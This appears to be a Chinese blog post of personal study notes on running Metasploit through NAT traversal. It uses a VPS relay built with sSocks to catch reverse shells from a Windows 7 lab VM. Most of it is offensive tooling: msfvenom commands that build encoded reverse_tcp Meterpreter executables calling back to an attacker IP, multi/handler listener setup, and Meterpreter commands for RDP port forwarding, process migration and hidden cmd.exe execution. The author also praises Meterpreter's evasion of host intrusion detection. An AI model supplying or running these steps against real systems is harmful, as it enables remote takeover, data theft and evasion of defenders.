内网穿透进行Metasploit渗透

初识Metasploit

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,是一个框架,常用于内网渗透。

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

Meterpreter中常用的Shell

reverse_tcp

这是一个基于TCP的反向shell

reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定

reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定。

bind_tcp

这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

payload选择的三大要素如下:

  • 木马连接的方向
  • 目标操作系统及版本
  • 反弹的shell类型

木马连接方向:
msf木马分为正向连接与反向连接,正向连接适合攻击机能给连接目标机的情况,反向连接使用目标机能连接攻击机的情况,这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。(可以使用nc工具测试)

操作系统位数查看:

getconf LONG_BIT

常用payload

linux相关payload:

1 linux/x86/meterpreter/reverse_tcp
2 linux/x86/meterpreter/bind_tcp
3 linux/x86/shell_bind_tcp
4 linux/x86/shell_reverse_tcp
5 linux/x64/shell_reverse_tcp
6 linux/x64/shell_bind_tcp

windows相关payload:

1 windows/meterpreter/reverse_tcp
2 windows/meterpreter/bind_tcp
3 windows/shell_reverse_tcp
4 windows/shell_bind_tcp
5 windows/x64/meterpreter/reverse_tcp
6 windows/x64/meterpreter/bind_tcp
7 windows/x64/shell_reverse_tcp
8 windows/x64/shell_bind_tcp

payload具体参数含义:

-p, --payload    <payload>       指定需要使用的payload(攻击荷载)
-l, --list       [module_type]   列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder    [encoder]       指定需要使用的encoder(编码器)
-a, --arch       <architecture>  指定payload的目标架构
    --platform   <platform>      指定payload的目标平台
-s, --space      <length>        设定有效攻击荷载的最大长度
-b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count>         指定payload的编码次数
-c, --add-code   <path>          指定一个附加的win32 shellcode文件
-x, --template   <path>          指定一个自定义的可执行文件作为模板
-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
    --payload-options            列举payload的标准选项
-o, --out   <path>               保存payload
-v, --var-name <name>            指定一个自定义的变量,以确定输出格式
    --shellest                   最小化生成payload
-h, --help                       查看帮助选项
    --help-formats               查看msf支持的输出格式列表

一个典型的msfvenom使用举例如下:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=7777 -f exe -o /tmp/my_payload.exe

自己的看法

最近真的好忙…然后又在这里胡乱研究Metasploit,感觉后天实验班考核要凉凉…
背景:我有一台Kali的虚拟机,一台外网vps,想要渗透一台win7的虚拟机。目前还没有学到提权,只是会用msf生成反弹马,然后msf监听外网vps接收的数据。win7我虚拟机开了Nat进行转发,传上去了小马,菜刀连接上。

因为我是内网的Kali,所以要进行内网穿透:
内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透,就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。

首先我们为什么要内网穿透?因为我们的kali在内网,当木鸡(简称)执行我们msf生成的EXE木马时,它会把自己的Shell反弹出去,当然这个Shell不可能反弹到我们自己的内网。那么我们就需要有个外网的ip来监听这个Shell。当然,我们也可以用自己的外网ip来映射到kali上。但是一方面我觉得不安全,另一方面我觉得windows限制太多了,所以就利用我有的一台Centos7的VPS来当作这个跳板。时间不多了,开始记录一下目前的步骤:

获取meterpreter会话

VPS开启流量转发

在网上看到有人说用lcx作为内网端口转发的工具,但是centos7好像编译环境不允许lcx,使用不起。用Ssocks搭建隧道,监听两个端口,7777用来接收来自受害者反弹的shell,7778将7777的流量转发出。下载sSocks,执行命令编译./configure && make,进入src文件夹

./rcsocks -l 7777 -p 7778

生成Payload

Kali生成Payload in Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Kali生成Payload in Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Kali分步生成Payload

分步执行:

msf > use payload/windows/meterpreter/reverse_tcp  #指定payload
msf > payload(reverse_tcp) > set lhost xxxxx(外网Ip) #设置监听地址
lhost => xxxxx(外网Ip) 
msf > payload(reverse_tcp) > set lport 7777(监听流量流入端口)
lport => 6666
msf > payload(reverse_tcp) > generate -b '\x00\xff' -t exe -e x86/shikata_ga_nai -i 5 -f /root/test.exe
[*] Writing 73802 bytes to /root/test.exe...

msf进行监听

回到msf主界面:

msf > payload(reverse_tcp) > back

运行监听模块:

msf > use exploit/multi/handler

设置接收的payload:

msf exploit(handler) > set payload windows/meterpreter/bind_tcp

设置vps监听的地址和转发的端口:

msf exploit(handler) > set rhost xxxx(外网Ip)
rhost => xxxx(外网Ip)
msf exploit(handler) > set lport 7778
lport => 7778
msf exploit(handler) > exploit
[*] Started bind handler
[*] Sending stage (957999 bytes) to xxxx(外网Ip)
[*] Starting the payload handler...

靶机运行Payload

Linux下运行elf会提示没有权限,加权限:

chomd +x ./shell.elf

然后再运行就可以了

Meterpreter的常用命令

基本命令

background  # 让meterpreter处于后台模式  
sessions -i index   # 与会话进行交互,index表示第一个session  
quit  # 退出会话  
shell # 获得控制台权限  
irb # 开启ruby终端

文件系统命令

cat # 查看文件内容  
getwd # 查看当前工作目录  
upload  # 上传文件到目标机上  
download # 下载文件到本机上  
edit # 编辑文件  
search  # 搜索文件

网络命令

ipconfig / ifconfig # 查看网络接口信息  
portfwd  add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444 
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息

系统命令

ps # 查看当前活跃进程 
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中 
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互 
getpid # 获取当前进程的pid 
kill pid # 杀死进程 
getuid # 查看权限 
sysinfo # 查看目标机系统信息,如机器名,操作系统等 
shutdown # 关机

相关链接:
防火墙(firewalld)端口转发
利用metasploit进行提权
Metasploit简单提权
sSocks下载
Socks代理反弹突破内网

not found!